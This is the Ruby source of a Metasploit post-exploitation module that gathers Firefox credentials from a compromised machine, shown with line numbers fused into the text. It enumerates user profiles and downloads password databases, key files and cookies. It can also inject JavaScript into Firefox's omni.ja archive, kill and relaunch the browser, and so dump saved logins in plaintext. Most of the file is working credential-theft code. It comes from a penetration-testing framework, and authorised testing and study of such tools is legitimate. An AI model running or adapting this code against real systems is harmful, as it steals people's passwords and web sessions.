Path: blob/master/modules/post/multi/gather/firefox_creds.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'tmpdir'6require 'zip'78class MetasploitModule < Msf::Post9include Msf::Post::File10include Msf::Auxiliary::Report11include Msf::Post::Windows::UserProfiles1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Multi Gather Firefox Signon Credential Collection',18'Description' => %q{19This module will collect credentials from the Firefox web browser if it is20installed on the targeted machine. Additionally, cookies are downloaded. Which21could potentially yield valid web sessions.2223Firefox stores passwords within the signons.sqlite database file. There is also a24keys3.db file which contains the key for decrypting these passwords. In cases where25a Master Password has not been set, the passwords can easily be decrypted using263rd party tools or by setting the DECRYPT option to true. Using the latter often27needs root privileges. Also be warned that if your session dies in the middle of the28file renaming process, this could leave Firefox in a non working state. If a29Master Password was used the only option would be to bruteforce.3031Useful 3rd party tools:32+ firefox_decrypt (https://github.com/Unode/firefox_decrypt)33+ pswRecovery4Moz (https://github.com/philsmd/pswRecovery4Moz)34},35'License' => MSF_LICENSE,36'Author' => [37'bannedit',38'xard4s', # added decryption support39'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features40],41'Platform' => %w[bsd linux osx unix win],42'SessionTypes' => ['meterpreter', 'shell' ],43'Compat' => {44'Meterpreter' => {45'Commands' => %w[46core_channel_close47core_channel_eof48core_channel_open49core_channel_read50core_channel_tell51core_channel_write52stdapi_fs_stat53stdapi_sys_config_getenv54stdapi_sys_config_getuid55stdapi_sys_process_get_processes56stdapi_sys_process_kill57]58}59},60'Notes' => {61'Stability' => [CRASH_SAFE],62'SideEffects' => [],63'Reliability' => []64}65)66)6768register_options([69OptBool.new('DECRYPT', [false, 'Decrypts passwords without third party tools', false])70])7172register_advanced_options([73OptInt.new('DOWNLOAD_TIMEOUT', [true, 'Timeout to wait when downloading files through shell sessions', 20]),74OptBool.new('DISCLAIMER', [false, 'Acknowledge the DECRYPT warning', false]),75OptBool.new('RECOVER', [false, 'Attempt to recover from bad DECRYPT when possible', false])76])77end7879def run80# Certain shells for certain platform81vprint_status('Determining session platform and type')82case session.platform83when 'unix', 'linux', 'bsd'84@platform = :unix85when 'osx'86@platform = :osx87when 'windows'88if session.type != 'meterpreter'89print_error 'Only meterpreter sessions are supported on Windows hosts'90return91end92@platform = :windows93else94print_error("Unsupported platform: #{session.platform}")95return96end9798if datastore['DECRYPT']99do_decrypt100else # Non DECRYPT101paths = enum_users102103if paths.nil? || paths.empty?104print_error('No users found with a Firefox directory')105return106end107108download_loot(paths.flatten)109end110end111112def do_decrypt113unless datastore['DISCLAIMER']114decrypt_disclaimer115return116end117118omnija = nil # non meterpreter download119org_file = 'omni.ja' # key file120new_file = Rex::Text.rand_text_alpha(5..7) + '.ja'121temp_file = 'orgomni.ja' # backup of key file122123# Sets @paths124return unless decrypt_get_env125126# Check target for the necessary files127if session.type == 'meterpreter'128if session.fs.file.exist?(@paths['ff'] + temp_file) && !session.fs.file.exist?(@paths['ff'] + org_file)129print_error("Detected #{temp_file} without #{org_file}. This is a good sign of previous DECRYPT attack gone wrong.")130return131elsif session.fs.file.exist?(@paths['ff'] + temp_file)132decrypt_file_stats(temp_file, org_file, @paths['ff'])133if datastore['RECOVER']134return unless decrypt_recover_omni(temp_file, org_file)135else136print_warning('If you wish to continue by trying to recover, set the advanced option, RECOVER, to TRUE.')137return138end139elsif !session.fs.file.exist?(@paths['ff'] + org_file)140print_error("Could not download #{org_file}. File does not exist.")141return142end143end144145session.type == 'meterpreter' ? (size = format('(%s MB)', '%0.2f') % (session.fs.file.stat(@paths['ff'] + org_file).size / 1048576.0)) : (size = '')146tmp = Dir.tmpdir + '/' + new_file # Cross platform local tempdir, "/" should work on Windows too147print_status("Downloading #{@paths['ff'] + org_file} to: #{tmp} %s" % size)148149if session.type == 'meterpreter' # If meterpreter is an option, lets use it!150session.fs.file.download_file(tmp, @paths['ff'] + org_file)151else # Fall back shells152omnija = read_file(@paths['ff'] + org_file)153if omnija.nil? || omnija.empty? || omnija =~ (/No such file/i)154print_error("Could not download: #{@paths['ff'] + org_file}")155print_error("Tip: Try switching to a meterpreter shell if possible (as it's more reliable/stable when downloading)") if session.type != 'meterpreter'156return157end158159print_status("Saving #{org_file} to: #{tmp}")160file_local_write(tmp, omnija)161end162163res = nil164print_status("Injecting into: #{tmp}")165begin166# Automatically commits the changes made to the zip archive when the block terminates167Zip::File.open(tmp) do |zip_file|168res = decrypt_modify_omnija(zip_file)169end170rescue Zip::Error171print_error("Error modifying: #{tmp}")172return173end174175if res176vprint_good("Successfully modified: #{tmp}")177else178print_error('Failed to inject')179return180end181182print_status("Uploading #{tmp} to: #{@paths['ff'] + new_file}")183print_warning('This may take some time...') if %i[unix osx].include?(@platform)184185if session.type == 'meterpreter'186session.fs.file.upload_file(@paths['ff'] + new_file, tmp)187else188unless upload_file(@paths['ff'] + new_file, tmp)189print_error("Could not upload: #{tmp}")190return191end192end193194return unless decrypt_trigger_decrypt(org_file, new_file, temp_file)195196decrypt_download_creds197end198199def decrypt_disclaimer200print_line201print_warning('Decrypting the keys causes the remote Firefox process to be killed.')202print_warning('If the user is paying attention, this could make them suspicious.')203print_warning('In order to proceed, set the advanced option, DISCLAIMER, to TRUE.')204print_line205end206207def decrypt_file_stats(temp_file, org_file, _path)208print_line209print_error("Detected #{temp_file} already on the target. This could possible a possible backup of the original #{org_file} from a bad DECRYPT attack.")210print_status("Size: #{session.fs.file.stat(@paths['ff'] + org_file).size}B (#{org_file})")211print_status("Size: #{session.fs.file.stat(@paths['ff'] + temp_file).size}B (#{temp_file})")212print_status("#{org_file} : Created- #{session.fs.file.stat(@paths['ff'] + org_file).ctime} Modified- #{session.fs.file.stat(@paths['ff'] + org_file).mtime} Accessed- #{session.fs.file.stat(@paths['ff'] + org_file).mtime}")213print_status("#{temp_file}: Created- #{session.fs.file.stat(@paths['ff'] + temp_file).ctime} Modified- #{session.fs.file.stat(@paths['ff'] + temp_file).mtime} Accessed- #{session.fs.file.stat(@paths['ff'] + temp_file).ctime}")214print_line215end216217def decrypt_recover_omni(temp_file, org_file)218print_status("Restoring: #{@paths['ff'] + temp_file} (Possible backup)")219file_rm(@paths['ff'] + org_file)220rename_file(@paths['ff'] + temp_file, @paths['ff'] + org_file)221222if session.type == 'meterpreter'223print_error("There is still #{temp_file} on the target. Something went wrong.") if session.fs.file.exist?(@paths['ff'] + temp_file)224225unless session.fs.file.exist?(@paths['ff'] + org_file)226print_error("#{org_file} is no longer at #{@paths['ff'] + org_file}")227return false228end229end230231true232end233234def enum_users235paths = []236id = whoami237238if id.nil? || id.empty?239print_error("Session #{datastore['SESSION']} is not responding")240return241end242243if @platform == :windows244vprint_status('Searching every possible account on the target system')245grab_user_profiles.each do |user|246next if user['AppData'].nil?247248dir = check_firefox_win(user['AppData'])249paths << dir if dir250end251else # unix, bsd, linux, osx252@platform == :osx ? (home = '/Users/') : (home = '/home/')253254if got_root255vprint_status('Detected ROOT privileges. Searching every account on the target system.')256userdirs = "/root\n"257userdirs << cmd_exec("find #{home} -maxdepth 1 -mindepth 1 -type d 2>/dev/null")258else259vprint_status("Checking #{id}'s Firefox account")260userdirs = "#{home + id}\n"261end262263userdirs.each_line do |dir|264dir.chomp!265next if (dir == '.') || (dir == '..') || dir =~ (/No such file/i)266267@platform == :osx ? (basepath = "#{dir}/Library/Application Support/Firefox/Profiles") : (basepath = "#{dir}/.mozilla/firefox")268269print_status("Checking for Firefox profile in: #{basepath}")270checkpath = cmd_exec('find ' + basepath.gsub(/ /, '\\ ') + ' -maxdepth 1 -mindepth 1 -type d 2>/dev/null')271272checkpath.each_line do |ffpath|273ffpath.chomp!274if ffpath =~ /\.default(?:-release)?$/275vprint_good("Found profile: #{ffpath}")276paths << ffpath.to_s277end278end279end280end281return paths282end283284def check_firefox_win(path)285paths = []286ffpath = []287path += '\\Mozilla\\'288print_status("Checking for Firefox profile in: #{path}")289290stat = begin291session.fs.file.stat(path + 'Firefox\\profiles.ini')292rescue StandardError293nil294end295if !stat296print_error('Firefox was not found (Missing profiles.ini)')297return298end299300session.fs.dir.foreach(path) do |fdir|301# print_status("Found a Firefox directory: #{path + fdir}")302ffpath << path + fdir303break304end305306if ffpath.empty?307print_error('Firefox was not found')308return309end310311# print_status("Locating Firefox profiles")312path << 'Firefox\\Profiles\\'313314# We should only have profiles in the Profiles directory store them all315begin316session.fs.dir.foreach(path) do |pdirs|317next if (pdirs == '.') || (pdirs == '..')318319vprint_good("Found profile: #{path + pdirs}")320paths << path + pdirs321end322rescue StandardError323print_error('Profiles directory is missing')324return325end326327paths.empty? ? nil : paths328end329330def download_loot(paths)331loot = ''332print_line333334paths.each do |path|335print_status("Profile: #{path}")336337# win: C:\Users\administrator\AppData\Roaming\Mozilla\Firefox\Profiles\tsnwjx4g.default338# linux: /root/.mozilla/firefox/tsnwjx4g.default (iceweasel)339# osx: /Users/mbp/Library/Application Support/Firefox/Profiles/tsnwjx4g.default340profile = path.scan(%r{Profiles[\\|/](.+)\.(.+)$}).flatten[0].to_s341profile = path.scan(%r{firefox[\\|/](.+)\.(.+)$}).flatten[0].to_s if profile.empty?342343session.type == 'meterpreter' ? (files = session.fs.dir.foreach(path)) : (files = cmd_exec('find ' + path.gsub(/ /, '\\ ') + ' -maxdepth 1 -mindepth 1 -type f 2>/dev/null').gsub(%r{.*/}, '').split("\n"))344345files.each do |file|346file.chomp!347next unless file =~ (/^key\d\.db$/) || file =~ (/^cert\d\.db$/) || file =~ (/^signons.sqlite$/i) || file =~ (/^cookies\.sqlite$/) || file =~ (/^logins\.json$/)348349ext = file.split('.')[2]350ext == 'txt' ? (mime = 'plain') : (mime = 'binary')351vprint_status("Downloading: #{file}")352if @platform == :windows353p = store_loot("ff.#{profile}.#{file}", "#{mime}/#{ext}", session, "firefox_#{file}")354session.fs.file.download_file(p, path + '\\' + file)355print_good("Downloaded #{file}: #{p}")356else # windows has to be meterpreter, so can be anything else (unix, bsd, linux, osx)357loot = cmd_exec("cat #{path}//#{file}", nil, datastore['DOWNLOAD_TIMEOUT'])358if loot.nil? || loot.empty?359print_error("Failed to download #{file}, if the file is very long, try increasing DOWNLOAD_TIMEOUT")360else361p = store_loot("ff.#{profile}.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "#{file} for #{profile}")362print_good("Downloaded #{file}: #{p}")363end364end365end366print_line367end368end369370# Checks for needed privileges and if Firefox is installed371def decrypt_get_env372@paths = {}373check_paths = []374loot_file = Rex::Text.rand_text_alpha(6) + '.txt'375376case @platform377when :windows378version = get_version_info379unless got_root || version.xp_or_2003?380print_warning('You may need SYSTEM privileges on this platform for the DECRYPT option to work')381end382383env_vars = session.sys.config.getenvs('TEMP', 'SystemDrive')384tmpdir = env_vars['TEMP'] + '\\'385drive = env_vars['SystemDrive']386387# This way allows for more independent use of meterpreter payload (32 and 64 bit) and cleaner code388check_paths << drive + '\\Program Files\\Mozilla Firefox\\'389check_paths << drive + '\\Program Files (x86)\\Mozilla Firefox\\'390when :unix391unless got_root392print_error('You need ROOT privileges on this platform for DECRYPT option')393return false394end395# Unix matches linux|unix|bsd but BSD is not supported396if session.platform =~ /bsd/397print_error('Sorry, BSD is not supported by the DECRYPT option')398return false399end400401tmpdir = '/tmp/'402403check_paths << '/usr/lib/firefox/'404check_paths << '/usr/lib64/firefox/'405check_paths << '/usr/lib/iceweasel/'406check_paths << '/usr/lib64/iceweasel/'407when :osx408tmpdir = '/tmp/'409check_paths << '/applications/firefox.app/contents/macos/'410end411412@paths['ff'] = check_paths.find do |p|413check = p.sub(%r{(\\|/)(mozilla\s)?firefox.*}i, '')414vprint_status("Checking for Firefox directory in: #{check}")415if directory?(p.sub(%r{(\\|/)$}, ''))416print_good("Found Firefox directory: #{check}")417true418else419false420end421end422423if @paths['ff'].nil?424print_error('No Firefox directory found')425return false426end427428@paths['loot'] = tmpdir + loot_file429430true431end432433def decrypt_modify_omnija(zip)434# Which files to extract from ja/zip435files = [436'components/storage-mozStorage.js', # stor_js437'chrome/toolkit/content/passwordmgr/passwordManager.xul', # pwd_xul438'chrome/toolkit/content/global/commonDialog.xul', # dlog_xul439'jsloader/resource/gre/components/storage-mozStorage.js' # res_js (not 100% sure why this is used)440]441442# Extract files from zip443arya = files.map do |omnija_file|444fdata = {}445begin446fdata['content'] = zip.read(omnija_file) unless omnija_file =~ /jsloader/447fdata['outs'] = zip.get_output_stream(omnija_file)448rescue StandardError449print_error("Was not able to find '#{omnija_file}' in the compressed .JA file")450print_error('This could be due to a corrupt download or a unsupported Firefox/Iceweasel version')451break452end453fdata454end455456# Read contents of array (arya)457stor_js, pwd_xul, dlog_xul, res_js = arya458stor_js['outs_res'] = res_js['outs']459460# Insert payload (close after starting up - allowing evil js to run and nothing else)461wnd_close = 'window.close();'462onload = "Startup(); SignonsStartup(); #{wnd_close}"463464# Patch commonDialog.xul - Get rid of (possible) master password prompt465dlog_xul['content'].sub!(/commonDialogOnLoad\(\);/, wnd_close)466dlog_xul['outs'].write(dlog_xul['content'])467dlog_xul['outs'].close468vprint_good('[1/2] XUL injected - commonDialog.xul')469470# Patch passwordManager.xul - Close password manager immediately471pwd_xul['content'].sub!(/Startup\(\); SignonsStartup\(\);/, onload)472pwd_xul['outs'].write(pwd_xul['content'])473pwd_xul['outs'].close474vprint_good('[2/2] XUL injected - passwordManager.xul')475476# Patch ./components/storage-mozStorage.js - returns true or false477return decrypt_patch_method(stor_js)478end479480# Patches getAllLogins() methods in ./components/storage-mozStorage.js481def decrypt_patch_method(stor_js)482data = ''483# Imports needed for IO484imports = %|Components.utils.import("resource://gre/modules/NetUtil.jsm");485Components.utils.import("resource://gre/modules/FileUtils.jsm");486Components.utils.import("resource://gre/modules/XPCOMUtils.jsm");487|488489# Javascript code to intercept the logins array and write the credentials to a file490method_epilog = %|491var data = "";492var path = "#{@paths['loot'].inspect.gsub(/"/, '')}";493var file = new FileUtils.File(path);494495var outstream = FileUtils.openSafeFileOutputStream(file);496var converter = Components.classes["@mozilla.org/intl/scriptableunicodeconverter"].497createInstance(Components.interfaces.nsIScriptableUnicodeConverter);498converter.charset = "UTF-8";499500if (logins.length != 0) {501for (var i = 0; i < logins.length; i++) {502data += logins[i].hostname + " :: " + logins[i].username + " :: " + logins[i].password + " ^";503}504} else {505data = "no creds";506}507508var istream = converter.convertToInputStream(data);509NetUtil.asyncCopy(istream, outstream);510511return logins;512|513514regex = [515nil, # dirty hack alert516[/return\slogins;/, method_epilog],517[%r{Components\.utils\.import\("resource://gre/modules/XPCOMUtils\.jsm"\);}, imports]518]519520# Match the last two regular expressions521i = 2 # ...this is todo with the nil in the above regex array & regex command below522x = i523stor_js['content'].each_line do |line|524# There is no real substitution if the matching regex has no corresponding patch code525if i != 0 && line.sub!(regex[i][0]) do |_match|526if regex[i][1]527vprint_good("[#{x - i + 1}/#{x}] Javascript injected - ./components/storage-mozStorage.js")528regex[i][1]529end530end531i -= 1532end533data << line534end535536# Write the same data to both output streams537stor_js['outs'].write(data)538stor_js['outs_res'].write(data)539stor_js['outs'].close540stor_js['outs_res'].close541542i == 0543end544545# Starts a new Firefox process and triggers decryption546def decrypt_trigger_decrypt(org_file, new_file, temp_file)547[org_file, new_file, temp_file].each do |f|548f.insert(0, @paths['ff'])549end550551# Firefox command line arguments552args = '-purgecaches -chrome chrome://passwordmgr/content/passwordManager.xul'553554# In case of unix-like platform Firefox needs to start under user context555case @platform556when :unix557# Assuming userdir /home/(x) = user558print_status('Enumerating users')559homedirs = cmd_exec('find /home -maxdepth 1 -mindepth 1 -type d 2>/dev/null').gsub(%r{.*/}, '')560if homedirs.nil? || homedirs.empty?561print_error('No normal user found')562return false563end564user = nil565# Skip home directories which contain a space, as those are likely not usernames...566homedirs.each_line do |homedir|567user = homedir.chomp568break unless user.index(' ')569end570571# Since we can't access the display environment variable we have to assume the default value572args.insert(0, "\"#{@paths['ff']}firefox --display=:0 ")573args << '"'574cmd = "su #{user} -c"575when :windows, :osx576cmd = @paths['ff'] + 'firefox'577# On OSX, run in background578args << '& sleep 5 && killall firefox' if @platform == :osx579end580581# Check if Firefox is running and kill it582if session.type == 'meterpreter'583session.sys.process.each_process do |p|584next unless p['name'] =~ /firefox\.exe/585586print_status('Found running Firefox process, attempting to kill.')587unless session.sys.process.kill(p['pid'])588print_error('Could not kill Firefox process')589return false590end591end592else # windows has to be meterpreter, so can be anything else (unix, bsd, linux, osx)593p = cmd_exec('ps', 'cax | grep firefox')594if p =~ /firefox/595print_status('Found running Firefox process, attempting to kill.')596term = cmd_exec('killall', 'firefox && echo true')597if term !~ /true/598print_error('Could not kill Firefox process')599return false600end601end602end603sleep(1)604605#606# Rename-fu:607# omni.ja (original) -> orgomni.ja (original_backup)608# *random*.ja (evil) -> omni.ja (original)609# ...start & close Firefox...610# omni.ja (evil) -> *random*.ja (pointless temp file)611# orgomni.ja (original_backup) -> omni.ja (original)612#613vprint_status('Renaming .JA files')614rename_file(org_file, temp_file)615rename_file(new_file, org_file)616617# Automatic termination (window.close() - injected XUL or firefox cmd arguments)618print_status("Starting Firefox process to get #{whoami}'s credentials")619cmd_exec(cmd, args)620sleep(1)621622# Lets just check theres something before going forward623if session.type == 'meterpreter'624i = 20625vprint_status("Waiting up to #{i} seconds for loot file (#{@paths['loot']}) to be generated") unless session.fs.file.exist?(@paths['loot'])626until session.fs.file.exist?(@paths['loot'])627sleep 1628i -= 1629break if i == 0630end631print_error('Missing loot file. Something went wrong.') unless session.fs.file.exist?(@paths['loot'])632end633634print_status("Restoring original .JA: #{temp_file}")635rename_file(org_file, new_file)636rename_file(temp_file, org_file)637638# Clean up639vprint_status("Cleaning up: #{new_file}")640file_rm(new_file)641if session.type == 'meterpreter'642if session.fs.file.exist?(temp_file)643print_error("Detected backup file (#{temp_file}) still on the target. Something went wrong.")644end645unless session.fs.file.exist?(org_file)646print_error("Unable to find #{org_file} on target. Something went wrong.")647end648end649650# At this time, there should have a loot file651if session.type == 'meterpreter' && !session.fs.file.exist?(@paths['loot'])652print_error('DECRYPT failed. Either something went wrong (download/upload? Injecting?), there is a master password or an unsupported Firefox version.')653# Another issue is encoding. The files may be seen as 'data' rather than 'ascii'654print_error('Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading/uploading)') if session.type != 'meterpreter'655return false656end657658true659end660661def decrypt_download_creds662print_good("Downloading loot: #{@paths['loot']}")663loot = read_file(@paths['loot'])664665if loot =~ /no creds/666print_status('No Firefox credentials where found')667return668end669670# Better delete the remote creds file671vprint_status("Cleaning up: #{@paths['loot']}")672file_rm(@paths['loot'])673674# Create table to store675cred_table = Rex::Text::Table.new(676'Header' => 'Firefox Credentials',677'Indent' => 1,678'Columns' =>679[680'Hostname',681'User',682'Password'683]684)685686creds = loot.split('^')687creds.each do |cred|688hostname, user, pass = cred.rstrip.split(' :: ')689cred_table << [hostname, user, pass]690691# Creds API692service_data = {693workspace_id: myworkspace_id694}695696credential_data = {697origin_type: :session,698session_id: session_db_id,699post_reference_name: refname,700smodule_fullname: fullname,701username: user,702private_data: pass,703private_type: :password704}.merge(service_data)705706create_credential(credential_data)707end708709# Create local loot csv file710path = store_loot(711'firefox.creds',712'text/plain',713session,714cred_table.to_csv,715'firefox_credentials.txt',716'Firefox Credentials'717)718vprint_good("Saved loot: #{path}")719720# Display out721vprint_line("\n" + cred_table.to_s)722end723724def got_root725case @platform726when :windows727session.sys.config.getuid =~ /SYSTEM/ ? true : false728else # unix, bsd, linux, osx729id_output = cmd_exec('id').chomp730if id_output.blank?731# try an absolute path732id_output = cmd_exec('/usr/bin/id').chomp733end734id_output.include?('uid=0(') ? true : false735end736end737738def whoami739if @platform == :windows740id = session.sys.config.getenv('USERNAME')741else742id = cmd_exec('id -un')743end744745id746end747end748749750